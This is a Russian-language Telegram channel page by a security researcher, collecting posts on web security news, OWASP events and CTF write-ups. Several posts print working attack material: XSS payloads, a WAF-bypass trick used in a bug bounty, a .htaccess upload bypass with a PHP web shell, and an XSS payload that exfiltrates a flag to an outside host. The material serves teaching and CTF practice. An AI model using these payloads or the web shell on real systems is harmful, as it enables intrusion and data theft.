YAH – Telegram
6.77K subscribers
243 photos
19 videos
29 files
510 links
Yet another hacker

Я Егор Богомолов, с 2015 в кибербезе, основатель проектов Singleton Security и CyberEd.

На канале разбираю новости из мира кибербезопасности через призму личного опыта, делюсь инсайтами, шучу шутки.

По вопросам - @Marta_Irinos
Download Telegram
Сегодня пройдет новый OWASP Meetup Russia #10 под новым названием:
OWASP Moscow 2020/1

Программа:

19:00 «Проекты OWASP: SAMM выпуск 2», Тарас Иващенко, OZON.
19:15 «Типичные ошибки реализации SMS-аутентификации», Ramazan (r0hack), DETEACT.
19:30 «OWASP Сheat Sheet Series. Microservices-based security architecture documentation», Александр Барабанов.
19:55 Перерыв
20:10 «Dev, Sec, Oops: How Agile Security increases Attack Surface», Денис Макрушин.
20:35 «From captcha to RCE. Сложности реализации механизма CAPTCHA в изолированных системах»

Планируется видеотрансляция на YouTube-канале https://www.youtube.com/channel/UCCqNFXg3NRbRA6qNKFRecdw
Много коллег и знакомых из ИТ спрашивают: “где прокачаться в поиске уязвимостей веб?”. Мол, как стать тру веб хакером.

Во-первый, нах это у меня спрашивать?! Вы же меня видели.
Во-вторых, я давно понял, что нет никакой особенной книги или платформы, или курса, который из вас сделает веб-павнера вроде известных всем топовых. Просто НЕТ, запомните.

Все, кто сейчас силен ломании веба, все кто сейчас крутые и известные хакеры ломают веб больше 5-8-10 лет. Все что нужно это не переставать учиться, еб@шить и не терять энтузиазма.

К чему все это?

К тому, что нет платформ, книжек и прочего, но есть вот такие классные сборники одних из самых интересных багов с HackerOne, изучая которые вы можете немного прокачать свою эрудицию в разнообразии случаев и атак:

https://github.com/reddelexc/hackerone-reports/tree/master/tops_by_bug_type
Forwarded from Beched's thoughts
Привет, странник!

Меня зовут Омар Ганиев, профессионально идентифицирую себя как хакер, занимаюсь предпринимательством в области информационной безопасности.

Зачастую мне приходят в голову различные мысли, которые я транслирую друзьям и коллегам в ряд чатов, в которых нахожусь.
Формат чата не располагает к вдумчивой формулировке мысли, а необходимость срочно поделиться гениальным откровением или новым знанием с различными группами людей располагает к прокрастинации, распылению, пустым дискуссиям и флуду.

В связи с этим решил предпринять попытку вести канал (хотя бы для себя), куда писать то, что может показаться интересным и не слишком очевидным.
Тематика постов может включать следующие области (в примерно убывающем по приоритету порядке), не ограничиваясь ими: компьютерная и информационная безопасность, технологии, IT-предпринимательство, стартапы, философия, математика, лингвистика, климатология.
Всем рекомендую мыслителя!)
Коллеги, поздравляю всех с этим памятным днем, когда в Репитере появилась поддержка UTF-8 для раздела RAW!!
Ура, товарищи!
https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/

Изучайте OAUTH, дети.

Бага на 55.000$
Прошедший VolgaCTF порадовал своими интересными задачами.

Для тех кто хочет наловчиться анализировать GraphQL API, могу порекомендовать свой врайтап: https://github.com/empty-jack/ctf-writeups/blob/master/VolgaCTF-2020/web-library.md (Цепочка: GQL Introspection -> SQLi)

Для тех кому интересны необычные техники эксплуатации DOM-XSS при помощи DomClobbering или DOM Variables Hijacking см. врайтап от Blackfan: https://blog.blackfan.ru/2020/03/volgactf-2020-qualifier-writeup.html?m=1 (Цепочка: PTRAV -> DomClobbering -> DOM-XSS)
Друг подсказал отличную фичу в Firefox.

Firefox containers!

Вы можете изолировать окружение отдельных вкладок. Т.е. раньше, чтобы выйти в отдельный сеанс браузера надо было включить анонимный режим и там уже можно было работать без своих Куков, Сессий и т.д.
Теперь можно просто разграничивать окружение при помощи этого инструмента. Это очень удобно для тестирования перекрестных атак на пользователей, когда нужно одновременно иметь две и более актуальных сессий для тестирования.

https://addons.mozilla.org/ru/firefox/addon/multi-account-containers/
#FYI

В Телеграм есть бот: @ctftimebot

Можно подписываться на CTF события, смотреть информацию по мероприятиям, командам, игрокам и пр.

Очень рекомендую для тех, кто заинтересован в CTF турнирах.

Спасибо толковому парню за то, что поделился)
АРСИБ умер?? vos уже пляшет на костях?!)
Зато удобно с работы домой возвращаться.
Очередные чудеса Client-Side с прошедшего CTF.

Что если есть Reflected XSS в таком вот ответе (См. INJECTION):
HTTP/1.1 200 OK
Server: nginx/1.17.9
Date: Sun, 05 Apr 2020 11:21:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.40
X-XSS-Protection: 0
X-Frame-Options: deny
X-Content-Type-Options: nosniff
Content-Length: 291

<noscript>
setTimeout(function(){
try{
return location = '/?i_said_no_xss_4_u_:)';
nodice=INJECTION;
}catch(err){
return location = '/?error='+INJECTION;
}
},500);
</noscript>
<noscript>
/*
payload: INJECTION
*/
</noscript>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>


И есть решение:
/?xss=alert(1);let location=1;<!--<noscript


Если чутка приглядеться, то поймешь, что вообще ни черта не понимаешь.

Объяснение и цепочка решения здесь:

https://github.com/empty-jack/ctf-writeups/blob/master/MidnightSunCTF-2020/crossintheroof-web.md
Подчерпнул для себя немножно нового прочитав статейку про подводные камнии и ловушки в конфигурации NGINX:

https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/

Очень рекомендую изучать работу и конфигурацию веб-серверов, т.к. это наиболее часто встречающееся ПО в вебе. Это дает свои плоды в понимании того, что происходит с обработкой запросов в вебе и того на что можно посмотреть если багов в приложении вы не нашли.
На последнем CTF увидел интересный кейс с эксплуатацией Self-XSS для вытаскивания данных админа через поддержание нескольких iframe.

Расширяем границы воображения)

Write up:
https://github.com/empty-jack/ctf-writeups/blob/master/ByteBandits-2020/notes-app-web.md
На бб нашелся забавный кейс.

Есть Stored XSS на приложении, но стоит WAF AWS ELB/2.0.

Встал вопрос: как байпасить?

Сначала попробовал вектора для хитрых пейлоадов, но все, что дальше одного слова, завернутого в кавычки, возвращет бан на реквест.

Тогда встал вопрос как байпасить не сигнатуры, а вообще парсинг.
И тут буквально с первой тычки прошел следующий трюк.

Данный WAF парсит заголовок Content-Type и в соответствии с ним парсит тело запроса.

Соответственно ломаем этот заголовок так, чтобы WAF его не съел, а nginx съел:

Решение:
Content-Type: application/x-www-form-urlencoded


Вместо пробела - табуляция!

Спасибо CTFам! 😄
Forwarded from Sergey Bobrov
Забавно, Firefox изменили обработку nosniff и один из трюков, которые многие использовали в прохождении таска User Center теперь не работает)

Content-Type: */*


https://blog.mozilla.org/security/2020/04/07/firefox-75-will-respect-nosniff-for-page-loads/
Forwarded from Beched's thoughts
Щас будет усталый стрим крипты для студентов на твитче.
Достримить websec.fr так и не успел, сейчас посмотрю cryptopals и буду вспоминать азы!
https://twitter.com/disclosedh1/status/1253436081908805639?s=20

Почему нужно чекать SSL на таргете? Потому что Heartbleed еще стреляет!)

Heartbleed — ошибка в криптографическом программном обеспечении OpenSSL, позволяющая несанкционированно читать память на сервере или на клиенте, в том числе для извлечения закрытого ключа сервера.

Как чекать? Да хотябы доступными сканерами:
https://www.ssllabs.com/ssltest/
Очередные фишечки из прошедшего CTF.

Чуть чуть успел поиграть в De1CTF и решить входной таск на вебчик. Но и в проходном задании нашлось кое что интересное.

Окружение:

Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

Примерное описание задачи:

* Есть загрузка файлов на серве
* Расширения PHP файлов запрещены (filename error)
* Можно загружать любые другие расширения если тип содержимого файла image/png (если нет, то filetype error)
* Файлы не могут содержать следующих слов perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet
* При отправке файлов все они кладутся в директорию /uploads/[md5sum(От IP клиента)]/

Само собой сразу приходит на ум работа с .htaccess файлом.
Но вот дальше начинались проблемы.

Нельзя было применить AddType application/x-httpd-php .foo для смены расширения файлов, подверженных интерпритации mod_php, т.к. у нас не пропускается подстрока ph.
RewriteRules тут не поможет.
Можно было вырулить на SetHandler server-status и увидеть чужие решения, но нам с этим не повезло и пр.

И вот в чем все любопытство.

По официальной версии и по тому, что я с коллегой пытались исполнить, надо было использовать CGI. И на локальном стенде это работало. В случае с сервером из задачи, это просто возвращало статус 500 (Ошибка скрипта).

И так, официальная версия

.htaccess
---------------
Options +ExecCGI
AddHandler cgi-noscript .sh
---------------

check.sh
---------------
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0
---------------

Наша версия :D

.htaccess
---------------
AddHandler application/x-httpd-p\
hp .foo

p\
hp_value short_open_tag 1
---------------

check.foo
---------------
<? passthru($_GET["cmd"]);
---------------

.htaccess поддерживает разбивку строк через экранирование переноса при помощи \

Более детально во врайтапе:

https://github.com/empty-jack/ctf-writeups/blob/master/De1CTF/web-check-in.md
Не успел описать в прошлые выходные пару задач, которые решал на #IJCTF.

Опишу одну позабавившую банальным обходом условий задания.

И так...

Условие: Нужно выполнить XSS и утащить флаг со страницы flag.php от имени админа.

Link: http://34.87.177.44:31338/?view-source

Note: server is running on 80 port in local.

На странице с XSS нас ждал следующий код:

--------------------------------------
<?php
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
exit();
}

header("Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'");
$dom = $_GET['inject'];
if(preg_match("/meta|on|src|<noscript>|<\/noscript>/im",$dom))
exit("No Hack");
?>
<html>
<?=$dom ?>
<noscript>
window.TASKS = window.TASKS || {
proper: "Destination",
dest: "https://vuln.live"
}
<?php
if(isset($_GET['ok']))
echo "location.href = window.TASKS.dest;";
?>
</noscript>
<a href="check.php">Bug Report</a>
</html>
--------------------------------------

Т.е. мы можем через параметр inject произвести вставку HTML кода на страницу.

НО!

* Мы не можем выполнять скрипты из-за фильтрации подстрок. meta, on, src, <noscript>, </noscript> в $_GET['inject']

* И не можем отправлять себе данные со страницы из-за CSP: default-src 'self' 'unsafe-inline' 'unsafe-eval', что в общем-то не такая уж и большая проблема.


И вот сейчас при описании решения, я посмотрел в решение автора, и понял, что он ожидал от меня совсем другого.

А именно:

My Intended solution was DOM clobbering.

But, It's my bad. I filtered <noscript>. I must ban <noscript.

Пэйлоад для тех, кто хочет разобраться в клобберинге:
http://34.87.80.48:31338/check.php?report=http://localhost/?inject=%3Ca%20id=TASKS%3E%3Ca%20id=TASKS%20name=dest%20href=%22javanoscript:a=`var%20rawFile=new%20XMLHttpRequest();var%20flag;rawFile.open(%27GET%27,%20%27http://localhost/flag.php%27,%20false);rawFile.o`%2b`nreadystatechange=functio`%2b`n(){if(rawFile.readyState===4)flag=rawFile.respo`%2b`nseText;}\nrawFile.send(null);locatio`%2b`n.href=%27http://vuln.live:31338/?=%27%2bflag`;eval(a)%22%3E%26ok


Т.е. автор хотел, чтобы я сплойтил XSS через Dom Clobbering, но я невольно воспользовался ошибкой автора и обошел фильтр :D.

Соответственно, мой пейлоад обходил фильтрацию тега, брал флаг через XHR и отправлял его через редирект:
--------------------
<noscript bad="a">
var x = new XMLHttpRequest();
x.open("GET","/flag.php",false).send();
window.TASKS={dest:"http://empty.jack.su/?flag="+btoa(x["respo"+"nseText"])};//
--------------------

Результат для отправки на проверку в check.php:
http://localhost/?inject=<noscript%20bad="a">var%20x%20=%20new%20XMLHttpRequest();x.open("GET","/flag.php",false);x.send();window.TASKS%20=%20{%20dest:%20"http://empty.jack.su/?flag="%2bbtoa(x["respo"%2b"nseText"])};//&ok


Write up: https://github.com/empty-jack/ctf-writeups/blob/master/IJCTF-2020/web-broken-chrome.md